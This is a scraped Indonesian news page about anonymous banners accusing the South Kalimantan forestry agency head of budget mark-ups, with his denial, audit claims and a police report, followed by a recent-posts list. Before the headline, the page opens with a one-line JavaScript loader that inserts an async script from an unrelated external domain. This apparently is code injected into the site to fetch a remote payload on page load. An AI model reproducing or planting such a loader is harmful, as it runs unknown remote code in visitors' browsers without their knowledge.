(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Diserang Spanduk ‘Gelap’, Kadishut Kalsel Bantah Adanya Mark Up!


BANJARBARU, Spanduk ‘gelap’ yang berisi tudingan adanya mark up anggaran penghijaun di perkantoran Pemprov Kalsel oleh Kepala Dinas Kehutanan (Dishut) Kalsel Dr Hanif Faisol Nurofiq, akhirnya diklarifikasi. Upaya ini dilakukan agar spanduk bernada hasutan tersebut tak menyebar sehingga dianggap sebagai kabar benar. Di sisi lain, dalang dibalik pemasangan spanduk tersebut saat ini tengah diusut pihak kepolisian.

Spanduk tersebut sempat menghebohkan publik karena bertuliskan dugaan markup proyek penghijauan dan sport center oleh Kadishut Kalsel. Bahkan, ada kalimat yang meminta untuk menangkap Kadishut. Tercatat ada dua spanduk yang memiliki pembahasan sama, tapi dengan tulisan berbeda. Kedua spanduk ini juga dipasang di lokasi terpisah.

Pada spanduk pertama tertulis ajakan untuk menangkap Kadishut Kalsel karena diduga melakukan mark up penghijauan di lingkungan Perkantoran Pemprov Kalsel dan merubah APBD Dana penghijauan di Jalan A Yani ke Perkantoran di Banjarbaru tanpa persetujuan DPRD Kalsel.

Sedangkan di spanduk ke dua, meminta Komisi Pemberantasan Korupsi (KPK) untuk mengusut Dispora hasil temuaan BPK RI terkait casing pembangunan Sport Center yang di dalamnya ada mark up harga tanah di lokasi Sport Center Desa Kiram. Bahkan juga dituliskan nama pengusaha yang terlibat di dalamnya.

Kadishut Kalsel Hanif Faisol, dalam keterangannya kepada wartawan Jumat (8/2) mengatakan, spanduk tersebut sebenarnya hanya berumur beberapa jam. Sebab, saat dipasang pada malam hari, spanduk tersebut langsung dilepas. Ia mengatakan telah melaporkan hal ini ke Polda kalsel dan Polresta Banjarmasin.

“Walaupun sebentar dipasang, namun sudah tersebar jadi berita hoax. Karena ini menyangkut nama baik, kami laporkan. Karena saya rasa adanya fitnah mengenai spanduk tersebut. Kami tidak tahu siapa memasang, kami minta Polda untuk memeriksa,” tegasnya.

Menurut Hanif, isi dalam spanduk tersebut adalah hoax. Karena dari program penghijauan sepanjang jalan A Yani dan sepanjang jalan lingkup kantor Perkantoran Pemprov Kalsel, memang dari awal adalah dua kegiatan berbeda. Dishut Kalsel mengalokasikan dana penghijauan di Jalan Achmad Yani meliputi daerah Banjarmasin, Banjarbaru, Kabupaten Banjar, dan Tanah Laut dengan total anggaran Rp 20 miliar. Sedangkan di Komplek Perkantoran Pemprov Kalsel di Banjarbaru dengan alokasi anggaran sekitar Rp 2 hingga Rp 3 miliar.

“Kami telah meminta audit ke inspektorat Provinsi Kalsel dan BPK RI. Tidak ditemukan pembengkakan dana atau masalah apapun,” lanjutnya.

Ditambahkannya lagi, bahkan pihaknya telah melalui langkah-langkah semestinya sebelum menjalankan ke dua program tersebut seperti melakukan ekspos ke Tim Pengawal dan Pengaman Pemerintah dan Pembangunan Daerah ( TP4D) dan beberapa kali melakukan rapat dengan sejumlah stake holder. Tersmasuk dengan Bandara Syamsudin Noor.

“Karena penanaman di kota berbeda dengan di hutan. Ada beberapa space yang tidak bisa ditanami. Tapi pengawalan TP4D dilakukan secara rutin,” bebernya.

Dampak spanduk yang menhujat dirinya ,membuat Kadishut Kalsel was-was dalam menggunakan Anggaran Pendapatan dan Belanja Daerah (APBD). Bahkan Hanif berencana menggunakan dana corporate sosial responsibility (CSR) perusahaan swasta untuk melaksanakan program penghijauan di kedepannya.

“Sebenarnya masalah spanduk ini tidak mau saya jelaskan, tapi kalau tidak dijelaskan takutnnya malah memblunder,” pungkasnya.

Bantahan tegas juga disampaikan oleh Kepala Biro Hukum Setdaprov Kalsel, Akhmad Fidayeen, Kamis (7/2) kemarin. Ia memastikan informasi di spanduk tersebut mengada-ngada. Dia n mengklaim bahwa dirinya berani pasang badan terkait proyek penghijauan dan sport center tidak ada permainan.

“Saya berani menjamin terkait proyek penghijauan dan sport center tidak ada permainan, dan tidak benar sama sekali isi dalam spanduk tersebut,” tegasnya.Hingga kini belum diketahui informasi perkembangan hasil daripenyelidikan oleh pihak Kepolisian. Namun tentu yang menjadi mistreri siapa dan apa motif dibalik oknum penyebar spanduk yang sempat menghebohkan sosial media beberapa minggu lalu. (Rico)


Desy Arfianty

Recent Posts

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

5 jam ago

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

7 jam ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

8 jam ago

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

11 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

14 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

17 jam ago

This website uses cookies.